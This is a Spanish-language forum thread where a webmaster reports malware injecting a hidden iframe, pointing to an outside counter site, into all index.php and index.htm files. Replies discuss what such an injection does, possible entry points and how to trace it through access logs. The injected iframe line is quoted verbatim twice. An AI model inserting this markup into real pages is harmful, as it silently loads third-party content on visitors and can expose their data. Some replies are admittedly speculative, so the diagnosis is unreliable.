Virus que agrega linea de codigo php

[albertt_t]

Saludos amigos, curiosamente un virus se ha metido en el servidor

y me agrega esta linea en todos los archivos index.php

echo <iframe src="http://live-counter.net/?click=23992671" width=1 height=1 style="visibility:hidden;position:absolute"></iframe>

y en los index.htm

<iframe src="http://live-counter.net/?click=23992671" width=1 height=1 style="visibility:hidden;position:absolute"></iframe>

-------------------------------------------------------------------------------------

He tratado de todo, hasta escapo al final de mi codigo con exit();

a ver si me dan algun consejo.

Muchas gracias.

[Keysher]

¿Consejo? Elimina el virus y borra esa línea de todos tus ficheros...

[jaronu]

Hola

y un virus que hace eso, con que sentido??

[Keysher]

Sentido tiene mucho.... SIEMPRE que alguien visite los index del servidor afectado cargará la página del iframe oculto.... y ahí puede hacer virguerías, desde sacar popups hasta recoger datos con cookies....

[jaronu]

pues que cabr...s,

pero otra pregunta Keysher, como se cela un virus un el servidor?

es por que la seguridad del hosting es mala, algun archivo subido por algun user...?

Gracias

[Keysher]

Hombre, si el hosting estuviese bien administrado, el user sólo podría infectar sus propios ficheros...

Pero vamos, tampoco estoy muy versado en el tema.

[GatorV]

Hola albertt_t,

Te recomiendo veas eso directo con tu hosting para que te lo desinfecten ya que poco puedes hacer si el virus modifica directo el archivo php.

Saludos.

[jaronu]

pero como puede entrar el virus GatorV,

mala seguridad del hosting?
por dejar que los user suban archivos al server?

Gracias

[Keysher]

Umm, sólo por dejar subir ficheros no debería ser.... puede ser eso combinado con alguna vulnerabilidad del sistema PHP que esté utilizando....

Ten en cuenta que no sólo tiene que subir el fichero, sino que además se tiene que ejecutar....

No sé, a ver si alguien con más experiencia en el tema arroja un poco de luz.

[GatorV]

El virus que particularmente expone albertt_t, no es por PHP, tiene que ver por un puerto SSH mal parchado, y es problema por no usar actualizaciones recientes.

Saludos.

[franco190453]

albertt_t:
Creo que debes ir al fichero que ha sido modificado y determina cuando exactamente fue modificado.
Una vez que tengas el mes, el dia, la hora, el minuto y aun el segundo.
Pide a tu hosting que te envien los que visitaron tu web en ese rango de tiempo.
Una copia del log de acceso y de errores si los hubo ya que probablemente este atacante estuvo probando antes de lograr su cometido.
Solo de esa manera podras determinar como entraron.
Si fuera virus en el servidor de tu hosting pues todos los sitios que aloja estarian en problemas; yo personalmente creo que el problema esta en los scripts de tu sitio.
Si nos hablas un poco podremos, mas o menos determinar lo que ha pasado.
Tienes galeria de imagenes? hacen tus usuarios uploads?, etc.
Saludos
Franco
Esto dice NORTON acerca live-counter.net
http://safeweb.norton.com/report/sho...ve-counter.net